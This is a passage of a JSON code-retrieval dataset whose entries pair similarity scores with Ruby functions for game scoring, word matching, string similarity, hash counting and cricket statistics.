"text": "def calculate_results\n players = {}\n @rounds.each do |round|\n round[:results].each do |player,result|\n if not players.has_key?(player)\n players[player] = 0\n end\n if result[:result] == \"Win\"\n players[player] += 1\n end\n end\n end\n winner = players.max_by{|k,v| v}\n players.each do |player, wins|\n @match[player] = {\n \"result\": (player == winner[0]) ? \"Win\" : \"Loss\",\n \"score\": wins\n }\n\t if @duplicate_players then\n\t\t@match[player][:result]= \"Tie\"\n\t end\n\t \n end\n end",
"title": ""
},
{
"docid": "f9a4e8c7dd878b45da5b11958cb06846",
"score": "0.5219699",
"text": "def solve_score_matching_info(book_td_labels)\n submited_report_counts = book_td_labels.shift.split('>')[3].split('<')[0]\n current_mark = book_td_labels.pop.split('>')[3].split('<')[0]\n score_reds = []\n book_td_labels.each_index do |index|\n td = book_td_labels[index]\n td = td.match('>.+<').to_s\n l = td.size\n td = td.slice(1, l-2)\n score_reds << td\n end\n \n score_arrs = score_reds.each_slice(2).to_a\n [submited_report_counts, current_mark, score_arrs]\n end",
"title": ""
},
{
"docid": "6f3985393df4f675c05bca80b4b1d19c",
"score": "0.52157533",
"text": "def find_rcb_batsman_scores(table_of_teams)\n rcb_batsman = Hash.new(0)\n # fetch total runs of each batsman of RCB\n table_of_teams.each do |table_row|\n rcb_batsman[table_row['batsman']] += table_row['total_runs'].to_i if table_row['batting_team'] == 'Royal Challengers Bangalore'\n end\n # extract the data of top 10 batsman\n rcb_batsman = rcb_batsman.sort_by { |_name, runs| runs }.reverse\n hash = {}\n rcb_batsman[..9].each do |name, runs|\n hash[name] = runs\n end\n hash\nend",
"title": ""
},
{
"docid": "9971bc0863c4ccbf2c87c0d7bdde5e3f",
"score": "0.5213831",
"text": "def highest_score_from (words)\n highest_scores = []\n scores = []\n\n words.each do |word|\n # calling method above (called score_hash) to create a hash with the particular word and score of each word in the array\n score_hash = {\n words: word,\n scores: score_word(word)\n }\n # shovelling the hashes above into the highest_scores array\n highest_scores << score_hash\n # shoveeling the return of the score_word method above (which is the score) for each of the words in the array\n scores << score_word(word)\n end\n\n # sorts the scores from the scores array above and then makes the changes \"permanent\" with the ! so we can use it in the below iterations.\n sorted_scores = scores.sort!\n winners_room = []\n winner_hash = {}\n # Iterating our way through the above array of hashes\n highest_scores.each do |hash|\n # Iterating through each of those hashes. if the value of the score is equal to the highest member of the sorted_scores array (the largest), the word will then be shovelled into the winner array.\n\n if hash[:scores] == sorted_scores.last\n # putting all the winners with highest score to wait\n winners_room << hash[:words]\n\n end\n shortest_word = 11\n # going thru each player in the winners room to meet top winner\n actual_winner = []\n # actual_actual_winner = \"\"\n\n\n\n actual_actual_winner = []\n winners_room.each do |winner|\n if winner.length == 10\n actual_winner << winner\n\n\n elsif winner.length <= shortest_word\n shortest_word = winner.length\n actual_winner << winner\n\n end\n # actual_actual_winner = []\n actual_actual_winner << actual_winner[0]\n end\n # actual_actual_winner = ''\n # actual_actual_winner = actual_winner.first\n #itterate thru the winner array to account for tie stuff\n # binding.pry\n winner_hash = {\n word: actual_actual_winner[0],\n score: sorted_scores.last\n }\n end\n return winner_hash\nend",
"title": ""
},
{
"docid": "194ce7e7eb407227372d64991c143174",
"score": "0.52127063",
"text": "def get_related_hashtags\n hash_matrix = []\n relateds.each do |r|\n #if r.related.numtweets > numtweets\n intersect = numtweets == 0 ? 0 : (r.intersection*100)/numtweets\n #else\n # intersect = r.related.numtweets == 0 ? 0 :(r.intersection*100)/r.related.numtweets\n #end\n hash_matrix << [r.related.name, r.intersection, r.related.numtweets, r.related, intersect]\n end\n hash_matrix.sort_by{|hash| hash[4]}.reverse\n end",
"title": ""
},
{
"docid": "8003d1658b03234988ecd52f90ce753d",
"score": "0.52092576",
"text": "def fastq_to_hash(fastq_file)\n count = 0\n sequence_a = []\n quality_a = []\n count_seq = 0\n\n File.open(fastq_file,'r') do |file|\n file.readlines.collect do |line|\n count +=1\n count_m = count % 4\n if count_m == 1\n line.tr!('@','>')\n sequence_a << line.chomp\n quality_a << line.chomp\n count_seq += 1\n elsif count_m == 2\n sequence_a << line.chomp\n elsif count_m == 0\n quality_a << line.chomp\n end\n end\n end\n sequence_hash = Hash[*sequence_a]\n quality_hash = Hash[*quality_a]\n return_hash = {}\n sequence_hash.each do |k,v|\n return_hash[k] = [v, quality_hash[k]]\n end\n return return_hash\nend",
"title": ""
},
{
"docid": "7790a8b95b62fb61808b0ab87acc7943",
"score": "0.5208876",
"text": "def analyze_text(text)\n hash = Hash.new(Array.new)\n text_array = text.split(/\\s/)\n text_array.each_with_index do |word, i|\n break if i == (text_array.length - 1)\n hash[word] += [text_array[i + 1]]\n end\n hash\n end",
"title": ""
},
{
"docid": "ac94a857b99813ec9b97c01562b12822",
"score": "0.51947767",
"text": "def run\n # header\n cols = [:title, :candidates, :s30, :s40, :s50, :c_tm, :s_tm, :correct]\n puts cols.join(\"\\t\")\n\n # simhash: 5..9\n @matcher.options[:candidates] = :simhash\n 5.upto(9).each do |i|\n @matcher.options[:simhash_max_hamming] = i\n report(\"simhash #{i}\")\n end\n\n # ngrams: 5..3\n @matcher.options[:candidates] = :ngrams\n 5.downto(3).each do |i|\n @matcher.options[:ngram_overlaps] = i\n report(\"ngrams #{i}\")\n end\n\n # all\n @matcher.options[:candidates] = :all\n report(\"all\")\n end",
"title": ""
},
{
"docid": "1de515e809e76eb86cea57a76efd6c86",
"score": "0.519433",
"text": "def top_matches(n=3)\n \n scores = Array.new\n \n @prefs.each_pair do |key,value|\n if key != @person\n scores << [@similarity.compute(key),key]\n end\n end\n \n (scores.sort!.reverse!)[0..n]\n \n end",
"title": ""
},
{
"docid": "ce75cbc530d2fb04dac5cfb7059f552f",
"score": "0.51896596",
"text": "def score(class_id, dab, from_id)\n retain = @classes[class_id].map { |x| x.to_a}.flatten\n values = BookmarkColorer.color(from_id, @alpha, 0.0000001, retain) do |article|\n edges = (@out_links[article] || \"\").split(/\\t/)\n edges.delete(dab)\n [edges, Array.new(edges.length, 1)]\n end\n #p values\n if @bayes\n text = @wiki.get_full_link(@full_links, from_id, dab)\n #@classes[dab].map { |vs| vs.map { |v| (values[v] || 0) * @wiki.get_in_link_count(@in_link_counts, v, text) / (@wiki.get_in_link_count(@in_link_counts,v, \"\").to_f) }.max}\n res = @classes[class_id].map do |vs| \n (vs.map do |v|\n if text\n val = values[v] || 0\n #p [v, val, text]\n text_contrib = @wiki.get_in_link_count(@in_link_counts, v, text)\n total = @wiki.get_in_link_count(@in_link_counts, v, \"\").to_f\n total = 1 if total == 0\n #p [val, text_contrib, total]\n val * text_contrib / total\n else\n 0\n end\n end).max\n end\n res\n elsif @radius\n @classes[class_id].pmap do |vs| \n (vs.map do |v|\n other_values = BookmarkColorer.color(v, @alpha, 0.0001) do |article|\n edges =(@out_links[article] || \"\").split(/\\t/)\n edges.delete(dab)\n [edges, Array.new(edges.length, 1)]\n end\n\n avg_values = Hash.new { |h,k| h[k] = 0}\n [values, other_values].each do |h|\n h.keys.each do |k|\n avg_values[k] += h[k] / 2\n end\n end\n\n -(kl(values, avg_values) + kl(other_values, avg_values)) / 2\n end).max\n end\n else\n res = @classes[class_id].map { |vs| vs.map { |v| values[v] || 0 }.max}\n #p res\n res\n end\n end",
"title": ""
},
{
"docid": "9f5475c0d1c57f0472b2857ef008fb02",
"score": "0.51794654",
"text": "def solve(s0, s1)\n count = 0\n\n hash0 = Hash.new(0)\n hash1 = Hash.new(0)\n\n arr0 = s0.split(' ')\n arr1 = s1.split(' ')\n\n arr0.each do |word|\n hash0[word.downcase] += 1\n end\n\n arr1.each do |word|\n hash1[word.downcase] += 1\n end\n\n hash1.each do |k, v|\n if hash0[k] > 0\n count += 1\n end\n end\n\n return count\nend",
"title": ""
},
{
"docid": "c55d970ca553ad2fe765d8c5cbacf856",
"score": "0.5176037",
"text": "def calculate_results\n players = {}\n @rounds.each do |round|\n round[:results].each do |player, result|\n if not players.has_key?(player)\n players[player] = 0\n end\n if result[:result] == \"Win\"\n players[player] += 1\n end\n end\n end\n winner = players.max_by { |k, v| v }\n players.each do |player, wins|\n @match[player] = {\n \"result\": (player == winner[0]) ? \"Win\" : \"Loss\",\n \"score\": wins,\n }\n if @duplicate_players\n @match[player][:result] = \"Tie\"\n end\n end\n end",
"title": ""
},
{
"docid": "96104bbcddbda907743b6494afeabcc0",
"score": "0.51724523",
"text": "def most_similar(query, word_to_id, id_to_word, word_matrix, top: 5)\n unless word_to_id.include?(query)\n printf(\"%s not found\\n\", query)\n return\n end\n\n puts '[Query] ' + query\n\n query_id = word_to_id[query]\n query_vec = word_matrix[query_id, true]\n\n # similarity = word_matrix.map { |vec| cos_similarity(vec, query_vec) }\n\n similarity = []\n\n word_matrix.shape[0].times do |idx|\n vec = word_matrix[idx, true]\n similarity[idx] = cos_similarity(vec, query_vec)\n end\n\n sorted_indexes = similarity.map.with_index.sort.map(&:last).reverse\n\n count = 0\n sorted_indexes.each do |idx|\n next if idx == query_id\n\n printf(\" %s: %s\\n\", id_to_word[idx], similarity[idx])\n count += 1\n break if count == top\n end\nend",
"title": ""
},
{
"docid": "6b79d553c4866e9732cb7ff5c39053a4",
"score": "0.51558787",
"text": "def get_yes_match_score(input)\n y, e, s = input.split('')\n\n score = 0\n score += Y_MATCH.fetch(y) if Y_MATCH.key?(y)\n score += E_MATCH.fetch(e) if E_MATCH.key?(e)\n score += S_MATCH.fetch(s) if S_MATCH.key?(s)\n score\n end",
"title": ""
},
{
"docid": "ad9a9dd0be04963ef7290ecfac3a7a61",
"score": "0.5154527",
"text": "def sockMerchant(n, ar)\n\n h = Hash.new(0)\n ar.each { |x| h[x] += 1 }\n \n countPairs = 0\n h.each do |k,v|\n countPairs += (v / 2)\n end\n \n \n countPairs\nend",
"title": ""
},
{
"docid": "15ed491064a3d24ceac0ea46f079e9c9",
"score": "0.51471007",
"text": "def similarshelves(n)\n similar(n)\n end",
"title": ""
},
{
"docid": "763f5590126cf498f84354a6fffce13b",
"score": "0.5138332",
"text": "def get_relevance(reviews, submissions, num_reviews, pos_tagger, core_NLP_tagger, speller)\n review_vertices = nil\n review_edges = nil\n subm_vertices = nil\n subm_edges = nil\n num_rev_vert = 0\n num_rev_edg = 0\n num_sub_vert = 0\n numSubEdg = 0\n vert_match = 0.0\n edge_without_syn = 0.0\n edge_with_syn = 0.0\n edge_diff_type = 0.0\n double_edge = 0.0\n double_edge_with_syn = 0.0\n \n #since Reviews and Submissions \"should\" contain the same number of records review - submission pairs\n g = GraphGenerator.new\n #generating review's graph\n g.generate_graph(reviews, pos_tagger, core_NLP_tagger, true, false)\n review_vertices = g.vertices\n review_edges = g.edges\n num_rev_vert = g.num_vertices\n num_rev_edg = g.num_edges\n \n #assigning graph as a review graph to use in content classification\n @review = g.clone\n \n #generating the submission's graph\n g.generate_graph(submissions, pos_tagger, core_NLP_tagger, true, false)\n subm_vertices = g.vertices\n subm_edges = g.edges\n num_sub_vert = g.num_vertices\n num_sub_edg = g.num_edges\n\n compareVerticesObj = CompareGraphVertices.new\n compareSVOEdgesObj = CompareGraphSVOEdges.new\n compareEdgesObj = CompareGraphEdges.new\n @vertex_match, vert_match = compareVerticesObj.compare_vertices(@vertex_match, pos_tagger, review_vertices,\n subm_vertices, num_rev_vert, num_sub_vert, speller)\n\n if(num_rev_edg > 0 and num_sub_edg > 0)\n @vertex_match, edge_without_syn =\n compareEdgesObj.compare_edges_non_syntax_diff(@vertex_match, review_edges, subm_edges,num_rev_edg, num_sub_edg)\n @vertex_match, edge_with_syn =\n compareEdgesObj.compare_edges_syntax_diff(@vertex_match, review_edges, subm_edges,num_rev_edg, num_sub_edg)\n @vertex_match, edge_diff_type =\n compareEdgesObj.compare_edges_diff_types(@vertex_match, review_edges, subm_edges,num_rev_edg, num_sub_edg)\n edge_match = (edge_without_syn.to_f + edge_with_syn.to_f )/2.to_f #+ edge_diff_type.to_f\n @vertex_match, double_edge =\n compareSVOEdgesObj.compare_SVO_edges(review_edges, subm_edges,num_rev_edg, num_sub_edg)\n @vertex_match, double_edge_with_syn =\n compareSVOEdgesObj.compare_SVO_diff_syntax(review_edges, subm_edges,num_rev_edg, num_sub_edg)\n double_edge_match = (double_edge.to_f + double_edge_with_syn.to_f)/2.to_f\n else\n edge_match = 0\n double_edge_match = 0\n end\n \n #differently weighted cases\n #tweak this!!\n alpha = 0.55\n beta = 0.35\n gamma = 0.1 #alpha > beta > gamma\n\n #case1's value will be in the range [0-6] (our semantic values)\n relevance = (alpha.to_f * vert_match.to_f) + (beta * edge_match.to_f) + (gamma * double_edge_match.to_f)\n scaled_relevance = relevance.to_f/6.to_f #scaled from [0-6] in the range [0-1]\n\n return scaled_relevance\nend",
"title": ""
},
{
"docid": "b3c65cf41091bcea2b59cc38d0089fe7",
"score": "0.5137205",
"text": "def retrieve_similar_strings(query, threshold)\n\t\t# 1. Get the user dictionary id to retrieve similar tmers to the query.\n\t\tbasedic = @db::Dictionary.select(:id).where(:title => @dic_name).all\n \n if basedic.present?\n userdic = @db::UserDictionary.select(:id).where(:dictionary_id => basedic.first[:id]).where(:user_id => @user_id).all\n end\n\n\t\tif userdic.blank?\n\t\t\treturn []\n\t\telse\t\t\t\n\t\t\tuserdic_id = userdic.first[:id] # Assume that a user has only one user dictionary for a specific base dictionary.\n\t\tend\n\n\t\t# 2. Perform query expansion.\n\t\t# simfun = Sequel.function(:similarity, :search_title, query)\n\t\t\n\t\t# Extracts a list of similar entry names compared to the query\n\t\t# - compared to @db.fetch command below, this is very slow.\n\t\t# ds = @db[:new_entries].where(:user_dictionary_id => userdic_id).where(simfun >= threshold).select_append(simfun).order(Sequel.desc(simfun), :title)\n\t\t# ds = @db[:new_entries].where(:user_dictionary_id => userdic_id).where(simfun >= threshold)\n ds = @db::NewEntry.select(:search_title).where(:user_dictionary_id => userdic_id)\n .group(:id).having(\"similarity(search_title, '#{ query }') >= #{ threshold }\")\n\n\t\t# Setting set_limit first and use % in where clause greatly accellerates the \n\t\t# search speed. However, it is unclear whether set_limit can cause a problem when a db search\n\t\t# request comes while another one is on-going.\n\t\t# @db.transaction do\n\t\t# \tds = @db.fetch(\"SELECT set_limit(#{threshold}); \n\t\t# \t\t\t\t\tSELECT *, similarity(title, :query) FROM entries \n\t\t# \t\t\t\t\tWHERE title % :query\n\t\t# \t\t\t\t\tORDER BY similarity DESC, title\", \n\t\t# \t\t\t \t\t:query => query, \n\t\t# \t\t\t \t\t)\n\t\t# end\n\t\tresults = ds.present? ? ds.collect{| n | n.search_title }.uniq : []\n\tend",
"title": ""
},
{
"docid": "6f7254ca3957ba2334601d40467338a0",
"score": "0.5130319",
"text": "def matches_played_by_season(table_of_teams)\n matches_played = Hash.new { |hash, key| hash[key] = Hash.new(0) }\n\n table_of_teams.each do |table_row|\n matches_played[table_row['season']][table_row['team1']] += 1\n matches_played[table_row['season']][table_row['team2']] += 1\n end\n matches_played\nend",
"title": ""
},
{
"docid": "6d660b5c0583fe0261ecd54e9bd853fc",
"score": "0.51248926",
"text": "def compare_reviews_with_questions_responses(reviews, questions)\n review_text_arr = reviews\n #response = Response.find(:first, :conditions => [\"map_id = ?\", map_id])\n #scores = Score.find(:all, :conditions => [\"response_id = ?\", response.id])\n #questions = Array.new\n #fetching the questions for the responses\n# for i in 0..scores.length - 1\n# questions << Question.find_by_sql([\"Select * from questions where id = ?\", scores[i].question_id])[0].txt\n# end\n \n count_copies = 0 #count of the number of responses that are copies either of questions of other responses\n rev_array = Array.new #holds the non-plagiairised responses\n #comparing questions with text\n for i in 0..questions.length - 1\n if(!questions[i].nil? and !review_text_arr[i].nil? and questions[i].downcase == review_text_arr[i].downcase)\n count_copies+=1\n next #skip comparing with other responses\n end\n \n #comparing response with other responses\n flag = 0\n for j in 0..review_text_arr.length - 1\n if(i != j and !review_text_arr[i].nil? and !review_text_arr[j].nil? and review_text_arr[i].downcase == review_text_arr[j].downcase)\n count_copies+=1\n flag = 1\n break\n end\n end\n\n if(flag == 0) #ensuring no match with any of the review array's responses\n rev_array << review_text_arr[i]\n end\n end\n \n #setting @review_array as rev_array\n if(count_copies > 0) #resetting review_array only when plagiarism was found\n auto_metareview.review_array = rev_array\n end\n \n if(count_copies > 0 and count_copies == scores.length)\n return ALL_RESPONSES_PLAGIARISED #plagiarism, with all other metrics 0\n elsif(count_copies > 0)\n return SOME_RESPONSES_PLAGIARISED #plagiarism, while evaluating other metrics\n end\n end",
"title": ""
},
{
"docid": "291cd27e4346ee92c9f95068761fd5d7",
"score": "0.51131123",
"text": "def score\n @score ||= phonetic_levenshtein_distance + penalties\n end",
"title": ""
},
{
"docid": "8f9a6c6a76dafdd425b463ae6a07ae78",
"score": "0.5112726",
"text": "def corrections\n #For each word to be looked at\n $words.each do |word_array|\n #If the word is misspelled attempt corrections\n possible_matches = Array.new\n if word_array[1] == false\n #Sets word to the actual word, instead of array pair\n word = word_array[0]\n # Get lexicon searching vars\n first_char = word[0]\n len = word.length\n\n ##Find words with similar letters\n #Saves the length of the word for eaiser access\n size = word.length\n #Iterates over words with matching starting letter and length +- 1\n $lexicon[first_char][len].each do |word_compare|\n possible_matches << word_compare[0]\n end\n\n # only check shorter words if length is greater than 1\n if len > 1\n $lexicon[first_char][len-1].each do |word_compare|\n possible_matches << word_compare[0]\n end\n end\n\n $lexicon[first_char][len+1].each do |word_compare|\n possible_matches << word_compare[0]\n end\n\n #Iterate over the possible matches, taking the match with the highest percentage\n #Hash to hold similarity\n similarity = Hash.new(0.0)\n possible_matches.each do |word_to_compare|\n similarity[word_to_compare] = match_percentage word, word_to_compare\n end\n\n best_match = ''\n similarity.each do |match|\n if match[1] > similarity[best_match]\n best_match = match[0]\n end\n end\n $correction[word] = best_match\n end\n end\nend",
"title": ""
},
{
"docid": "b9c7f3043ae40f67de0079790cdf3db4",
"score": "0.5106437",
"text": "def fifth_anagram?(word1, word2) # O(n)\n \n p \"Running fifth_anagram...\" \n\n start = Time.now\n \n hash1 = Hash.new(0)\n # hash2 = Hash.new(0)\n\n word1.each_char {|char| hash1[char] += 1}\n word2.each_char {|char| hash1[char] += 1}\n\n hash1.values.all? {|v| v.even?}\n\n\n # puts \"Took #{Time.now - start} seconds\"\n\n \nend",
"title": ""
},
{
"docid": "17a92d77512fa7686ab2c64eefd7270c",
"score": "0.5102278",
"text": "def rematch_for_profile_text_index(pti)\r\n\r\n return # THIS IS NOW DISABLED! handled async\r\n\r\n # return if !pti.profile.active?\r\n # \r\n # query_text = ''\r\n # query_text << prep_text_for_match_query(pti.profile_text) if pti.profile_text\r\n # query_text << ' . '+prep_text_for_match_query(pti.all_answers_text) if pti.answers_text\r\n # mysql_match_term = 'match (qti.question_text) against (?)'\r\n # \r\n # #Profile.transaction do\r\n # \r\n # # for existing question matches, rematch to see if rank changes or if we are excluded\r\n # # this assumes we are matched to a reasonable number of questions\r\n # ps = db_prepare(\"select question_id from question_profile_matches where profile_id=?\")\r\n # ps.execute(pti.profile_id)\r\n # \r\n # while rs = ps.fetch\r\n # match_question_to_profiles(Question.find(rs[0]))\r\n # end\r\n # ps.close\r\n # \r\n # # attempt to find new questions we match on in an optimized fashion using\r\n # # reverse profile->questions matching\r\n # ps = db_prepare(\"select qti.question_id, #{mysql_match_term} as match_rank\"+\r\n # \" from question_text_indices qti\"+\r\n # \" join questions q on q.id=qti.question_id\"+\r\n # \" left join question_profile_matches qpm on qpm.question_id=q.id and qpm.profile_id=?\"+\r\n # \" left join question_profile_exclude_matches qpcm on qpcm.question_id=q.id and qpcm.profile_id=?\"+\r\n # \" left join answers a on a.question_id=q.id and a.profile_id=?\"+\r\n # # ignore questions we're already matched to\r\n # # dont match to those we have marked as ignore\r\n # # or those that we have already answered\r\n # \" where qpm.question_id is null and qpcm.question_id is null and a.question_id is null\"+\r\n # # only match open questions\r\n # \" and q.open_until>current_date()\"+\r\n # \" and q.profile_id!=?\"+\r\n # \" and #{mysql_match_term}\"+\r\n # # only match to questions where we will be in the top [prefetch] list\r\n # \" and exists (select min(qpm.rank) as min_rank, max(qpm.order) as max_order from question_profile_matches qpm where qpm.question_id=q.id having min_rank<match_rank or max_order<?)\")\r\n # \r\n # ps.execute(query_text,pti.profile_id,pti.profile_id,pti.profile_id,pti.profile_id,query_text,@@question_match_max_prefetch)\r\n # while rs = ps.fetch\r\n # match_question_to_profiles(Question.find(rs[0])) #!O we could do a reorder or insert\r\n # end\r\n # ps.close\r\n # #end\r\n end",
"title": ""
},
{
"docid": "804daa44274c999e5ac219985e2e121b",
"score": "0.5102146",
"text": "def parse_score_leaders()\n users = []\n $redis.scan_each(:match => \"user_score:*\"){ |key| user_id = key.gsub(\"user_score:\", \"\"); users << { :user_id => user_id, :score => get_user_score(user_id), :user_name => get_slack_name(user_id) } }\n finalists = []\n if users.size > 0\n users.each do |user|\n if user[:score] >= 1\n finalists.push(user)\n end\n end\n finalists = finalists.uniq{ |f| f[:user_id] }.sort{ |a, b| b[:score] <=> a[:score] }.slice(0, 100)\n end\n finalists\nend",
"title": ""
},
{
"docid": "e52e4ca5c0f71eb922ad6cd86d306e69",
"score": "0.51011425",
"text": "def score_matchup(matchup_id, winning_submission_id, losing_submission_id)\n # TODO: ensure we're filtering by category or whatever\n matchup = $MATCHUPS.find{|matchup| matchup[:id] == matchup_id}\n matchup[:completed] = true\n matchup[:winning_submission_id] = winning_submission_id\n\n winning_submission = $SUBMISSIONS.find{|s| s[:id] == winning_submission_id }\n losing_submission = $SUBMISSIONS.find{|s| s[:id] == losing_submission_id }\n\n winning_sub_elo = Elo::Player.new(:rating => winning_submission[:elo_rating])\n losing_sub_elo = Elo::Player.new(:rating => losing_submission[:elo_rating])\n \n winning_sub_elo.wins_from(losing_sub_elo)\n\n winning_submission[:elo_rating] = winning_sub_elo.rating\n losing_submission[:elo_rating] = losing_sub_elo.rating\n\n # $SUBMISSIONS.map{|s| s[:id] == winning_submission_id ? winning_submission : s[:id] == losing_submission_id ? losing_submission : s }\n\n # $MATCHUPS.map{|m| m[:id] == matchup_id ? matchup : m }\n incomplete_matches = $MATCHUPS.select{|m| m[:completed] == false && m[:assigned] == false}\n\n if(incomplete_matches.count() < $NUM_TEAMS) \n generate_more_matchups()\n end\nend",
"title": ""
},
{
"docid": "5e68350848e81dede5726747520b47e9",
"score": "0.50903976",
"text": "def score(sentence)\n total_scores = 0\n rep_array = @sent_rep_compiler.compile(sentence)\n rep_array.each { |word| total_scores += @wts_scores_obj[word.id] }\n total_scores / rep_array.length\n end",
"title": ""
},
{
"docid": "eec0b3468b62ab2074b9ca0a156d9fb4",
"score": "0.5084273",
"text": "def get_no_match_score(input)\n n, o = input.split('')\n\n score = 0\n score += N_MATCH.fetch(n) if N_MATCH.key?(n)\n score += O_MATCH.fetch(o) if O_MATCH.key?(o)\n score\n end",
"title": ""
},
{
"docid": "d1ea76ba6cca2a337a3ae0c241a7f150",
"score": "0.5083047",
"text": "def similarity (u1, u2)\r\n\t\t# make sure data is loaded first\r\n\t\tif @user_ratings.nil?\r\n\t\t\tputs \"data has not been loaded\"\r\n\t\t\treturn 0\r\n\t\telse\r\n\t\t\t# make sure users exist before calculating similarity\r\n\t\t\tif check(u1, u2)==1\r\n\t\t\t\tu1_rate_hash = @user_ratings[u1]\r\n\t\t\t\tu2_rate_hash = @user_ratings[u2]\r\n\t\t\t\t# merge the two hashes since that produces a set \r\n\t\t\t\t# then can get the length to get # of unique movies the two users have rated (in case users have not ranked all the same movies)\r\n\t\t\t\tnum_total_movies = u1_rate_hash.merge(u2_rate_hash).keys.length\r\n\t\t\t\t# make combination of all movies that both users ahve seen\r\n\t\t\t\tboth_seen = u1_rate_hash.keys & u2_rate_hash.keys\r\n\t\t\t\tsum = 0\r\n\t\t\t\t# loops throught the movies both users have seen and takes the difference between the ratings\r\n\t\t\t\t# this is subtracted from 4 (the max difference) to give an inverse on the difference if they have the same rating then 4 is added to the sum\r\n\t\t\t\tboth_seen.each do |id|\r\n\t\t\t\t\tsum +=4 - (u1_rate_hash[id] - u2_rate_hash[id]).abs\r\n\t\t\t\tend\r\n\t\t\t\t# the formula for similarity\r\n\t\t\t\t# the # movies both have seen /the number of unique movies both have seen\r\n\t\t\t\t# this gives a percentage of similarity between the movies both users have rated\r\n\t\t\t\t# ensures similarity in preference of movies not just ratings\r\n\t\t\t\t# those who have more similar taste in movies ranked will have thier percentage of similarity affected less as it will be close to 1\r\n\t\t\t\t# where those who have disparate tastes in music will be closer to 0 reducing the total score and reflecting their difference in tastes\r\n\t\t\t\t# the sum is divided by 0 to normalize it(if all ranks are the same the sum comes to 4*number of movies both seen \r\n\t\t\t\t# and needs to be removed to get a # below #movies both seen)\r\n\t\t\t\t# divide by total number of movies seen to get a percentage of similarity of ranks\r\n\t\t\t\t# +0.0 TO TURN INTO DECIMALS *100 TO GET THE PERCENT\r\n\t\t\t\tn =((0.0+both_seen.length)/(num_total_movies))*(((0.0+sum)/4)/both_seen.length)*100\r\n\t\t\t\tif n.nan?\r\n\t\t\t\t\tn = 0.0\r\n\t\t\t\tend\r\n\t\t\t\treturn n\r\n\t\t\telse\r\n\t\t\t\treturn 0\r\n\t\t\tend\r\n\t\tend\r\n\tend",
"title": ""
},
{
"docid": "5454ef696fbcb7c65332cac76e8278eb",
"score": "0.5082699",
"text": "def checkSearchTerms(wordHash, searchTermsArray, documentCounter, resultsHash, wordArray)\n documentCounter;\n documentNumber = \"Document \" + documentCounter.to_s\n searchTermsArray.each do |word|\n resultsHash.merge!(word => { documentNumber => wordHash[word]})\n # need to figure out the frequency based on the wordHash[word] and the wordArray.length\n end\n # puts wordArray.length\n # puts resultsHash\nend",
"title": ""
},
{
"docid": "d314f5743fec7bd7e604bd96ae8a30fe",
"score": "0.50821495",
"text": "def similarity_score(word_1, word_2)\n raise NotImplementedError # TODO\nend",
"title": ""
},
{
"docid": "ad20662aa9c23c0478bad954a46d4bdb",
"score": "0.50811505",
"text": "def score_stories(site)\n scores = {}\n site.stories.current.each do |story|\n scores[story.id] = 0\n end\n keywords.split(\"\\n\").each do |keyword|\n # query needs to be enclose in double quotes if we have a phrase\n query = keyword.split.size > 1 ? \"\\\"#{keyword}\\\"\" : keyword\n search = Ultrasphinx::Search.new( :class_name => \"Story\",\n :filters => { \"site_id\" => site.id },\n :weights => {\"title\" => 2.0},\n :query => query).run\n search.response[:matches].each do |match|\n scores[match[:doc]] += match[:weight] rescue true\n end\n end\n return scores.sort { |a, b| a[1] <=> b[1] }.reverse\n end",
"title": ""
},
{
"docid": "0c80a461dae55d25d61ad3f0ec8de637",
"score": "0.50790215",
"text": "def genome(liszt)\n=begin\n[samopen] SAM header is present: 2 sequences\n7621912 reads; of these:\n 4009241 (52.60%) were paired; of these:\n 1983557 (49.47%) aligned concordantly 0 times\n 1818685 (45.36%) aligned concordantly exactly 1 time\n 206999 (5.16%) aligned concordantly >1 times\n ----\n 1983557 pairs aligned concordantly 0 times; of these:\n 409503 (20.64%) aligned discordantly 1 time\n ----\n 1574054 pairs aligned 0 times concordantly or discordantly; of these:\n 3148108 mates make up the pairs; of these:\n 1009275 (32.06%) aligned 0 times\n 35392 (1.12%) aligned exactly 1 time\n 2103441 (66.82%) aligned >1 times\n 3612671 (47.40%) were unpaired; of these:\n 498719 (13.80%) aligned 0 times\n 2246121 (62.17%) aligned exactly 1 time\n 867831 (24.02%) aligned >1 times\n=end\n #puts(liszt);exit\n dict={}; liszt.shift\n dict[\"total\"]=liszt.shift.split[0]; #liszt.shift\n dict[\"paired\"]=liszt.shift.split[0]; liszt.shift #conc 0\n dict[\"conc_once\"]=liszt.shift.split[0]\n dict[\"conc_mult\"]=liszt.shift.split[0]\n liszt.shift(2); dict[\"disc_once\"]=\"\"; dict[\"disc_mult\"]=\"\"\n line=liszt.shift\n line.include?(\">1 times\") ? dict[\"disc_mult\"]=line.split[0] : dict[\"disc_once\"]=line.split[0]\n liszt.shift\n dict[\"unaligned_pairs\"]=liszt.shift.split[0]\n liszt.shift\n dict[\"unmates\"]=liszt.shift.split[0] #unaligned mates\n dict[\"mate_once\"]=liszt.shift.split[0]\n dict[\"mate_mult\"]=liszt.shift.split[0]\n dict[\"unpaired\"]=liszt.shift.split[0]\n dict[\"unpair_unaligned\"]=liszt.shift.split[0]\n dict[\"unpair_once\"]=liszt.shift.split[0]\n dict[\"unpair_mult\"]=liszt.shift.split[0]\n dict\nend",
"title": ""
},
{
"docid": "1c7fc20f3d33a44f1e5a6b261f894b27",
"score": "0.50764394",
"text": "def fuzzy_match(string1, string2)\n\tshared_bigram_count = 0.0\n\tdice_coefficient = 0.0\n\tstring1_bigrams = []\n\tstring2_bigrams = []\n\t# Check length of the strings, if they aren't 2 or more we can't check using bigrams and should exact match.\n\tif string1.length && string2.length < 2\n\t\t# As these are short string we can exact match them if they exact match then return 1 (casecmp = 0 for exact match)\n\t\tstring1.casecmp(string2) == 0 ? dice_coefficient = 1.0 : dice_coefficient = 0.0\n\t\treturn dice_coefficient\n\telse\n\t\t# Get each bigram (2d ngrams) for each string so \"night\" => ['ni', 'ig', 'gh', 'ht']\n\t\tstring1.chars.each_cons(2) { |pairs| string1_bigrams << pairs.join }\n\t\tstring2.chars.each_cons(2) { |pairs| string2_bigrams << pairs.join }\n\t\t# Count the shared bigrams and return the Sorensen-Dice coefficient\n\t\tstring2_bigrams.each { |bg2| string1_bigrams.each { |bg1| shared_bigram_count += 1.0 if bg2 == bg1 } }\n\t\treturn dice_coefficient = (2.0 * shared_bigram_count) / (string1_bigrams.length + string2_bigrams.length)\n\tend\nend",
"title": ""
},
{
"docid": "97e406e2a823c1953b83dfe6ad8b08f3",
"score": "0.5068819",
